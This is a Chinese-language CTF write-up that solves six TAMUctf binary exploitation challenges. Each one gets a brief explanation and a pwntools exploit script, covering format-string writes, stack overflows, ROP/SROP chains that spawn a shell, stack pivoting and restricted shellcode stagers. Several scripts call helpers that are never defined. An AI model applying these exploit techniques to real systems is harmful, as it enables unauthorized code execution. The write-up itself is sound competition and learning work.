AK题目6/8,最有意思的一集,体验很好(出题人发源码suki),最后两个题看不懂要干什么摆了没做
sniper 挺好玩的格式化字符串漏洞。很有意思的一点是读入地址为0x0a0a0000
, 两个回车符显然是防止我们直接往栈里输入地址。 考查点是格式化字符串对于%s
和%$ns
处理先后顺序不同(前先后后),先用%c
填充至栈地址再用%hn
构造出0x0a0a
构造出读入地址,再利用%10$s
的处理顺序不同读出flag内容。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./sniper/sniper" elf = ELF(binary_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("tamuctf.com" , 443 , ssl=True , sni="tamuctf_sniper" ) dbg = lambda _: None p.recvuntil(b"0x" ) stack_addr = int (p.recvuntil(b"\n" , drop=True ), 16 ) + 0x20 ls(stack_addr) addr = 0x000000000A0A0000 dbg(p) offset = 6 payload = b"%c%c%c%c%c%c%c%c%c%2561c%hn" payload += b"%10$s" payload = payload.ljust(32 , b"a" ) payload += p64(0 ) payload += p64(stack_addr + 2 ) """ payload = b"%10$ln%2570c%11$hn" payload += b"%6$p" payload = payload.ljust(32, b"a") payload += p64(stack_addr) payload += p64(stack_addr + 2) """ p.sendline(payload) p.interactive()
debug1 程序的debug功能直接暴露了system地址,且还包含一个很长的栈溢出。 利用程序正常流程中的溢出将程序流导向debug函数,之后就出来了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./debug-1/debug-1" libc_path = "./debug-1/libc.so.6" elf = ELF(binary_path) libc = ELF(libc_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("tamuctf.com" , 443 , ssl=True , sni="tamuctf_debug-1" ) dbg = lambda _: None p.sendlineafter(b"Exit\n" , b"1" ) payload = b"a" * 0x58 + p64(0x40139F + 1 ) p.sendlineafter(b"\n" , payload) p.sendlineafter(b"well :) )\n" , b"1" ) p.recvuntil(b"libc leak: " ) system = int (p.recvuntil(b"\n" , drop=True ), 16 ) """ 0x0000000000023a5f: pop rdi; ret; 0x000000000002235f: ret; """ libc_base = system - libc.sym["system" ] binsh = libc_base + libc.search(b"/bin/sh" ).__next__() pop_rdi = libc_base + 0x0000000000023A5F ret = libc_base + 0x000000000002235F dbg(p) payload = b"a" * 0x68 payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) p.sendlineafter(b" characters)!\n" , payload) p.interactive()
rop-thirteen
对着源码分析即可,我都没用ida
go pwn,然而漏洞很明显,一个貌似无限(实测是有限)的unsafe read函数:
1 2 3 4 5 6 7 ... sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&rot13)) feedbackPointer := uintptr (unsafe.Pointer(&(feedback[0 ]))) sliceHeader.Data = feedbackPointer _, _ = reader.Read(rot13) ...
首先随便填一些数据找到栈地址偏移(0x110),再考虑构造ROP链。 题目静态链接,正好给我们提供了很多gadget 构造syscall ret链,先栈迁移到bss段,通过syscall read扩大溢出空间,再SROP一步到位拿shell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./rop-thirteen/rop-thirteen" elf = ELF(binary_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("tamuctf.com" , 443 , ssl=True , sni="tamuctf_rop-thirteen" ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) payload = b"abcdefg" p.sendafter(b"(up to 360 characters):" , payload) """ 0x000000000045f409: syscall; ret; 0x000000000045e9f7: mov qword ptr [rdi], rax; ret; 0x0000000000465c64: xchg edi, eax; ret; 0x000000000045dde7: xchg rdx, rax; ret; 0x000000000045f34d: pop rbp; ret; 0x000000000045f81d: mov rsp, rbp; pop rbp; ret; 0x000000000041cf18: pop rsi; ret; 0x0000000000402481: xor rax, rax; ret; 0x00000000004801bd: pop rdx; ret; 0x0000000000438d50: pop rsp; ret; """ addr = 0x51C010 syscall_ret = 0x000000000045F409 pop_rax = 0x000000000040CC26 xchg_edi_eax_ret = 0x0000000000465C64 mov_qword_rdi_rax = 0x000000000045E9F7 syscall_ret = 0x000000000045F409 pop_rdx = 0x00000000004801BD pop_rsi = 0x000000000041CF18 pop_rbp = 0x000000000045F34D leave_ret = 0x000000000045F81D xor_rax = 0x0000000000402481 pop_rsp = 0x0000000000438D50 sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = addr sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = 0 sigframe.rip = syscall_ret dbg(p) payload = b"k" * 0x110 payload += p64(xor_rax) payload += p64(xchg_edi_eax_ret) payload += p64(pop_rsi) payload += p64(addr) payload += p64(pop_rdx) payload += p64(0x500 ) payload += p64(xor_rax) payload += p64(syscall_ret) payload += p64(pop_rsp) payload += p64(addr + 8 ) p.sendafter(b"feedback here:" , payload) sleep(0.5 ) payload = b"/bin/sh\x00" payload += p64(pop_rax) payload += p64(15 ) payload += p64(syscall_ret) payload += bytes (sigframe) p.send(payload) p.interactive()
debug-2 就是debug-1把debug函数删掉了,只有一个正常流程中的0x10 bytes的栈溢出 0x10 bytes栈溢出有公式打法,先栈迁移到bss段再打ret2libc 注意这个题有个大小写转换很烦人,payload需要经过处理再发出去
不知道为什么远程bss段比本地bss段少了两页的空间,导致在printf的时候一直爆栈,迫不得已用了一次csu跳板跳过printf环节
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 from pwn import *from ctypes import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./debug-2/debug-2" libc_path = "./debug-2/libc.so.6" elf = ELF(binary_path) libc = ELF(libc_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("tamuctf.com" , 443 , ssl=True , sni="tamuctf_debug-2" ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) def change (string ): res = b"" for i in string: if (ord ("Z" ) >= i >= ord ("A" )) or (ord ("z" ) >= i >= ord ("a" )): tmp = i ^ 0x20 res += tmp.to_bytes() else : res += i.to_bytes() return res p.sendlineafter(b"Exit\n\n" , b"1" ) payload = b"a" * 0x57 + b"|" + b"\xd8" p.sendafter(b"characters):\n\n" , payload) p.recvuntil(b"|" ) text_offset = recv(b"\n" ) - 0x13D8 lev_ret = 0x00000000000012DA + text_offset pop_rdi = 0x000000000000145B + text_offset pop_rsi = 0x0000000000001459 + text_offset puts_got = text_offset + elf.got["puts" ] puts_plt = text_offset + elf.plt["puts" ] read_got = text_offset + elf.got["read" ] bss = 0x4000 + text_offset + 0x0E00 p.sendlineafter(b"Exit\n\n" , b"1" ) payload = b"a" * 0x50 + p64(bss + 0x60 ) + p64(text_offset + 0x134A ) p.sendafter(b"characters):\n\n" , change(payload)) start = csu_start + text_offset end = start + 0x1A payload = p64(end) payload += p64(0 ) payload += p64(1 ) payload += p64(read_got) payload += p64(0 ) payload += p64(bss + 0x88 ) payload += p64(0x200 ) payload += p64(start) """ payload += p64(text_offset + 0x134A) """ payload = payload.ljust(0x50 , b"a" ) payload += p64(bss + 0x8 ) + p64(lev_ret) p.sendafter(b"characters):\n\n" , change(payload)) """ p.recvlines(2) payload = p64(pop_rdi) payload += p64(sh) payload += p64(sys) p.sendafter(b"characters):\n\n", change(payload)) """ sleep(0.5 ) payload = p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(end) payload += p64(0 ) payload += p64(1 ) payload += p64(read_got) payload += p64(0 ) payload += p64(bss + 0x88 + 0x90 ) payload += p64(0x200 ) payload += p64(start) p.send(payload) p.recvlines(2 ) puts_addr = recv(b"\n" ) sys, sh = search_from_libc("puts" , puts_addr) ls(text_offset) sleep(0.5 ) payload = p64(pop_rdi) payload += p64(sh) payload += p64(sys) p.send(payload) p.interactive()
接下来是两个shellcode编写,个人认为最有意思的部分
seven 条件极为苛刻,只允许写入7个字节,而且shellcode段在跳转前取消了写权限。 在这种情况下构造mprotect + read组合进一步写入是无法做到的(即使借助现有寄存器),拿shell更是不可能。 转换思路,我们可以手动构造一个栈溢出漏洞,然后用栈溢出的思路去解题。
分析寄存器条件,可以构造如下shellcode作为一个很长的栈溢出漏洞
1 2 3 4 5 mov edi, eax push rsp pop rsi syscall ret
ret返回地址会直接落在我们输入的位置上,正好这个题有csu,通过csu完成mprotect + read,往shellcode段读入shellcode后再跳转过去即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./seven/seven" elf = ELF(binary_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("tamuctf.com" , 443 , ssl=True , sni="tamuctf_seven" ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) payload = """ mov edi, eax push rsp pop rsi syscall ret """ p.send(asm(payload)) mprotect = elf.got["mprotect" ] read = elf.got["read" ] sleep(0.5 ) payload = csu(edi=0x500000 , rsi=0x1000 , rdx=0x7 , r12=mprotect) payload += csu(edi=0x0 , rsi=0x500000 , rdx=0x500 , r12=read) payload += p64(0x500000 ) p.send(payload) orw = ( """ push 0; mov rax, 2; mov rcx, 0x7478742e67616c66 push rcx mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall """ + sendfile ) sleep(2.5 ) p.send(asm(orw)) p.interactive()
stack
个人认为最有意思的题目
直接看C源码,发现题目只允许push/pop操作,操作寄存器必须以”r”开头 专门去看了intel的开发手册,发现允许内容就是只有push/pop rax~r15(包括rsp)这几个
个人认为如果真仅仅用这几个操作确实是无法get shell的(连syscall都无法做到),解决方案在栈上。
思路是构造read syscall再次读入shellcode来绕过过滤。通过各种栈操作我们可以设置合适的rdi,rsi,rdx和rax值,只差syscall 而syscall的汇编为\x0f\x05
,事实上我们可以在栈上创造一个\x0f\x05
,就是将输入长度补齐到0x50f; 分析源码可以发现在栈上有一个变量是存储输入长度的(调试发现就在栈顶),如果该值为0x50f,在小端序下便是\x0f\x05
,通过栈操作我们可以把它push到shellcode段作为syscall使用。
之后再传入正常的shellcode即可,注意要恢复rsp,不然栈空间可能不足
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) context.terminal = ["tmux" , "split" , "-h" ] binary_path = "./stack/stack" elf = ELF(binary_path) local = 1 ip, port = "61.147.171.105" , 29144 if local == 0 : p = process(binary_path) dbg = lambda p: gdb.attach(p) else : p = remote("tamuctf.com" , 443 , ssl=True , sni="tamuctf_stack" ) dbg = lambda _: None ls = lambda addr: log.success(hex (addr)) recv = lambda char: u64(p.recvuntil(char, drop=True ).ljust(8 , b"\0" )) """ push r8 ~ r15: \x41\x50 ~ \x41\x57 pop r8 ~ r15: \x41\x58 ~ \x41\x5f 0x0000000000000000: 50 push rax 0x0000000000000001: 51 push rcx 0x0000000000000002: 52 push rdx 0x0000000000000003: 53 push rbx 0x0000000000000004: 54 push rsp 0x0000000000000005: 55 push rbp 0x0000000000000006: 56 push rsi 0x0000000000000007: 57 push rdi 0x0000000000000008: 58 pop rax 0x0000000000000009: 59 pop rcx 0x000000000000000a: 5A pop rdx 0x000000000000000b: 5B pop rbx 0x000000000000000c: 5C pop rsp 0x000000000000000d: 5D pop rbp 0x000000000000000e: 5E pop rsi 0x000000000000000f: 5F pop rdi """ shell = """ pop rbx pop rdx pop rsi push r10 pop rax push r10 pop rdi push rsi pop rsp pop rcx pop rcx pop rcx push rdx """ payload = asm(shell) payload = payload.ljust(0x50F , b"\x50" ) p.send(payload) shellcode = """ mov rsp, rbp """ shellcode += shellcraft.sh() payload = b"\x00" * 0x12 payload += asm(shellcode) sleep(1 ) p.send(payload) p.interactive()